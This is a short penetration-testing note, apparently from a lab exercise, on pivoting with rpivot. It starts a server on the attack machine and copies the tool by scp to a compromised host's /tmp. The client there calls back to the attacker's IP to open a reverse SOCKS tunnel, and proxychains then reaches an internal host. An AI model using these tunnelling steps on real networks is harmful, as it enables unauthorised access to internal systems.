rpivot

cd ~/rpivot
# Attack machine
python2.7 server.py --proxy-port 9050 --server-port 9999 --server-ip 0.0.0.0

# Pivot machine
# Just transfer the whole directory of rpivot
scp -r rpivot/ ubuntu@10.129.78.39:/tmp
cd /tmp
python2.7 client.py --server-ip 10.10.14.18 --server-port 9999

# After that you can just use the proxychains
cd ~/proxychains
./proxychains4 firefox 172.16.5.135:80
./proxychains4 curl 172.16.5.135:80